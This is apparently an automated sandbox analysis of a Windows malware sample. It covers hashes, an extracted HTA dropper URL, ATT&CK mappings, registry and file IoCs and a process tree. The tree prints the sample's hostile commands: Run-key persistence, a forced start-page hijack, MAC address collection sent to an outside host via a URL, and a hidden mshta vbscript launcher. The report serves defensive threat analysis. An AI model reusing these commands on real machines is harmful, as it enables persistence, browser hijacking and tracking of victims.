d3aceee88f292e6bc52b4fe8eb9de669fe612e62ed4717ef05aaaf6eea29c569

Analysis

max time kernel
153s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
07/01/2024, 19:15

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General

Target

ac9268cb2641b313f7460ce40169e59b.exe
Size

5KB
MD5

ac9268cb2641b313f7460ce40169e59b
SHA1

e32b781c7d15cd0e1354edd4e488e2750706e278
SHA256

d3aceee88f292e6bc52b4fe8eb9de669fe612e62ed4717ef05aaaf6eea29c569
SHA512

7b31c764279a959830c02a65fad81a1bcbfb8e41a6c00dcc8d68a0d6b925d782c73b8474f3e9ed1ec6e31801400886136dca459956e9201c45e83ad14c41d41f
SSDEEP

96:vfycZ+ALBd3vJEtPsCZIB2oPRGHzb7v1JydcRxN:ny2tLHR4sCOD8HD117N

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://chaliang.115ku.cn/1261/yahooo.htm%22,0%29%28window.close%29

Signatures

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	mshta.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4020-0-0x0000000000400000-0x0000000000408000-memory.dmp	upx
behavioral2/memory/4020-92-0x0000000000400000-0x0000000000408000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\pop = "C:\\Windows\\Registration\\runauto.vbs"	reg.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File created	C:\Windows\Registration\internet.vbs	cmd.exe
File created	C:\Windows\Registration\svchost.bat	cmd.exe
File opened for modification	C:\Windows\Registration\svchost.bat	cmd.exe
File created	C:\Windows\Registration\r.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\r.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\internet.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\Registration\svchost.bat	cmd.exe
File created	C:\Windows\Registration\runauto.vbs	cmd.exe
File opened for modification	C:\Windows\Registration\runauto.vbs	cmd.exe
File created	C:\Windows\Registration\internet.bat	cmd.exe
File opened for modification	C:\Windows\Registration\internet.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1800	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 60 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "15073900"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 90380e049e41da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2C02E041-AD91-11EE-B6AD-FAD2FAC7202F} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{2BFE1D05-AD91-11EE-B6AD-FAD2FAC7202F} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "15542573"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 408f62039e41da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "35231486"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "14917993"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31080862"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31080862"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "15698789"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef00000000020000000000106600000001000020000000ae68a458b1ea38622130bb5752dfab985745b0f0842676d633c5330a8fdb8570000000000e800000000200002000000020c5ab11d951a5ab9c40bd208e6eede3bb034d7b9bf22ffba78ba4e9a6c4ce65200000009f730572deee66c2734c8675d0ae0846102cfa0cdf29a45e2cc2cc8b2fbdd88240000000c5a9f801b1788b2aef3bf42c3f53ca29af9ba65f3ef814cbf2edb6f698b9c0b4dd98a6601c67522c2eadd9dfe3c724aaaa5bf9fa565887c36fe2199c75a48255	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "32261138"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31080862"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "411419928"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d4d347bde384c849be64bb2f1c358fef000000000200000000001066000000010000200000001951dd967c0b258a81172e04280a7dc7c63c64e49afe2212cf155a5bbcde2b6a000000000e800000000200002000000098c69806b5dd1a8df7a21c3a94807eb58de8b841419fe3860609aaa207bf59692000000032c07b2aa5478c065e9c36f400818893f06aba8a28055e8976769c088a661abb40000000ce5b12a3e78afcc545c8c8fc66804bde4c3d8abca9139f636e7bb7e46647c1afb6e949f41827392e247656853e64a7c09a85799143894fc876e0c7473f3c5f78	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.115ku.com/?1261/"	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command	regedit.exe
Key created	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
960	reg.exe

Runs .reg file with regedit 2 IoCs

pid	Process
4876	regedit.exe
2424	regedit.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1396	iexplore.exe
4372	iexplore.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
4372	iexplore.exe
4372	iexplore.exe
1396	iexplore.exe
1396	iexplore.exe
1544	IEXPLORE.EXE
1544	IEXPLORE.EXE
3948	IEXPLORE.EXE
3948	IEXPLORE.EXE
3948	IEXPLORE.EXE
3948	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 4364	4020	ac9268cb2641b313f7460ce40169e59b.exe	89
PID 4020 wrote to memory of 4364	4020	ac9268cb2641b313f7460ce40169e59b.exe	89
PID 4020 wrote to memory of 4364	4020	ac9268cb2641b313f7460ce40169e59b.exe	89
PID 4364 wrote to memory of 960	4364	cmd.exe	91
PID 4364 wrote to memory of 960	4364	cmd.exe	91
PID 4364 wrote to memory of 960	4364	cmd.exe	91
PID 4364 wrote to memory of 4876	4364	cmd.exe	92
PID 4364 wrote to memory of 4876	4364	cmd.exe	92
PID 4364 wrote to memory of 4876	4364	cmd.exe	92
PID 4364 wrote to memory of 1848	4364	cmd.exe	93
PID 4364 wrote to memory of 1848	4364	cmd.exe	93
PID 4364 wrote to memory of 1848	4364	cmd.exe	93
PID 4364 wrote to memory of 1384	4364	cmd.exe	94
PID 4364 wrote to memory of 1384	4364	cmd.exe	94
PID 4364 wrote to memory of 1384	4364	cmd.exe	94
PID 4364 wrote to memory of 2424	4364	cmd.exe	95
PID 4364 wrote to memory of 2424	4364	cmd.exe	95
PID 4364 wrote to memory of 2424	4364	cmd.exe	95
PID 4364 wrote to memory of 4332	4364	cmd.exe	97
PID 4364 wrote to memory of 4332	4364	cmd.exe	97
PID 4364 wrote to memory of 4332	4364	cmd.exe	97
PID 4332 wrote to memory of 1800	4332	cmd.exe	98
PID 4332 wrote to memory of 1800	4332	cmd.exe	98
PID 4332 wrote to memory of 1800	4332	cmd.exe	98
PID 4332 wrote to memory of 4916	4332	cmd.exe	99
PID 4332 wrote to memory of 4916	4332	cmd.exe	99
PID 4332 wrote to memory of 4916	4332	cmd.exe	99
PID 4364 wrote to memory of 4220	4364	cmd.exe	101
PID 4364 wrote to memory of 4220	4364	cmd.exe	101
PID 4364 wrote to memory of 4220	4364	cmd.exe	101
PID 4364 wrote to memory of 2404	4364	cmd.exe	102
PID 4364 wrote to memory of 2404	4364	cmd.exe	102
PID 4364 wrote to memory of 2404	4364	cmd.exe	102
PID 4220 wrote to memory of 1396	4220	WScript.exe	103
PID 4220 wrote to memory of 1396	4220	WScript.exe	103
PID 4220 wrote to memory of 4372	4220	WScript.exe	104
PID 4220 wrote to memory of 4372	4220	WScript.exe	104
PID 1396 wrote to memory of 1544	1396	iexplore.exe	105
PID 1396 wrote to memory of 1544	1396	iexplore.exe	105
PID 1396 wrote to memory of 1544	1396	iexplore.exe	105
PID 4372 wrote to memory of 3948	4372	iexplore.exe	106
PID 4372 wrote to memory of 3948	4372	iexplore.exe	106
PID 4372 wrote to memory of 3948	4372	iexplore.exe	106
PID 2404 wrote to memory of 2060	2404	mshta.exe	107
PID 2404 wrote to memory of 2060	2404	mshta.exe	107

C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe
"C:\Users\Admin\AppData\Local\Temp\ac9268cb2641b313f7460ce40169e59b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\240632750.bat
  2⤵
  - Checks computer location settings
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\SysWOW64\reg.exe
    reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\Windows\Registration\runauto.vbs /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:960
- - C:\Windows\SysWOW64\regedit.exe
    Regedit /s tem.reg
    3⤵
    - Modifies registry class
    - Runs .reg file with regedit
    PID:4876
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.115ku.com/?1261/ /f
    3⤵
    - Modifies Internet Explorer settings
    - Modifies Internet Explorer start page
    PID:1848
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\regedit.exe
    Regedit /s gai.reg
    3⤵
    - Runs .reg file with regedit
    PID:2424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4332
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1800
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /c:"Physical Address"
      4⤵
      PID:4916
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Windows\Registration\r.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/count.asp?mac= FA:D2:FA:C7:20:2F&os=Windows_NT&ver=12610523
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1396
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1396 CREDAT:17410 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1544
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/zongtai/count.asp?mac= FA:D2:FA:C7:20:2F&os=Windows_NT&ver=12610523
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4372
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4372 CREDAT:17410 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:3948
- - C:\Windows\SysWOW64\mshta.exe
    mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://chaliang.115ku.cn/1261/yahooo.htm",0)(window.close)
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2404
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/1261/yahooo.htm
      4⤵
      Modifies Internet Explorer settings
      PID:2060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2BFE1D05-AD91-11EE-B6AD-FAD2FAC7202F}.dat

Filesize
5KB

MD5
3943df2bacc9c7718998d96409fa2bc8

SHA1
4e016d13f9f640aec8737a16271db84f4caf57c7

SHA256
50fad6eafb4060c91f395ca734231a64c7923d5add86fc3f2728cdd5d1143d19

SHA512
0a80838ce4905291b06ba7687af88071b500193f7301dfdcaf6f156a90134da55cccbc02b193389f9a6739f4ac8fe064b2836e381b04a4d4170825048412a386

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{2C02E041-AD91-11EE-B6AD-FAD2FAC7202F}.dat

Filesize
3KB

MD5
96fffcbe39504886fa26e018e9fb1650

SHA1
55455dfd549cbd34da6e61b0eca91b925d10bdcd

SHA256
f6b9b735d1055221844357650a178d2d5b6508f21d9945eedc2636ff478c073b

SHA512
9fd3e2ba4420a08c36912912e20927d88abae4a6f8cfa52004644b4a604e0c075c0f8fd51bfb44c0c0b981e8b6bb129537b29ed690d2fcee4f26663bcffab972

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\ver679E.tmp

Filesize
15KB

MD5
1a545d0052b581fbb2ab4c52133846bc

SHA1
62f3266a9b9925cd6d98658b92adec673cbe3dd3

SHA256
557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

SHA512
bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\M8F18HYR\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\240632750.bat

Filesize
9KB

MD5
52b3b486737185cd4c4eff05e3e1f864

SHA1
de4bda3507cc183cf72c97e5cc1ffc6332467268

SHA256
294f357ba1e2c985df765cb065b6386ea41398442766c34f76f18d2a149d4ae1

SHA512
757b8816b18374af07d597a2f58e415fcfa49eceea6cc69ec66b880d241975b9cd42be92cb39cea09f2aa1bfacec41dcb4438b122955c66166c544ad71b3774f

Download Submit
C:\Users\Admin\AppData\Local\Temp\gai.reg

Filesize
309B

MD5
8c9d7b6c427f4978944db6dcdf2905be

SHA1
8fb3eb9e98895a774fdd4f043205a2d7abf75ccd

SHA256
b70851b5596fc38203915b7803d6e6b96e2bfc4a99f7181418dc489bf4b290de

SHA512
8cfaa804ad8e58c8394d19d9a28b07e81c4ac52d2aaabb1eb1b16a97b6d52a4cda204f0d23557e83f9a1bfd906dec42d9cd8a88433cedd69e833ee9767508897

Download Submit
C:\Users\Admin\AppData\Local\Temp\tem.reg

Filesize
222B

MD5
6a93b828dc3fcb54b2e3919c0b3baadd

SHA1
63894f7f0b727cae32e583909e78928250704f74

SHA256
ebe5d10b0794a2374bb21f8508649abecc8c6036f49c36d504123feb3eb01764

SHA512
8bbf0aeb1c90df3badeae7298fadf77aceb1edf1d723e4c8e304ee0de635740a8b2807c98b277664ad8a2e1a44ae3a26c1fe793909a74191bb48d58ad81db0dd

Download Submit
C:\Users\Admin\Favorites\115┐ß╔╧═°╡╝║╜ ╔╧═°╛═╔╧115┐ß╔╧═°╡╝║╜.url

Filesize
132B

MD5
678552ee826a12311aa214128cc429d9

SHA1
f25d1d39cf165549be0d282c562f1e8820f4ad7a

SHA256
8f52283b091ae14d72cb8cfeb21f5ebfb682f534d0b63472e04015c3daf25543

SHA512
8cf3556e94fdbba84dbbc98045f5a5614ada95970bfe255ab6a8e1573f9c333148b119b2a7276aafeae975a5958a6fe716213d96e48d57588bbfb673a7317bcb

Download Submit
C:\Windows\Registration\r.vbs

Filesize
281B

MD5
f5e6165cade8182794e0f0f026905e1d

SHA1
961f1210ac90d4e08eed577877759ea0e4f1b405

SHA256
3b00a0ae7969fdc75a43a9fa05d21f45643e4236ae963812857f820373755368

SHA512
fa11ed584ccfd08a102856942c86679512ec5b94feb6337f4c53b8f62532179674fc9e4df1a4eebc40dca64e960c46e8f3467489d7d74f583652a4063910b0b2

Download Submit
memory/4020-0-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/4020-92-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads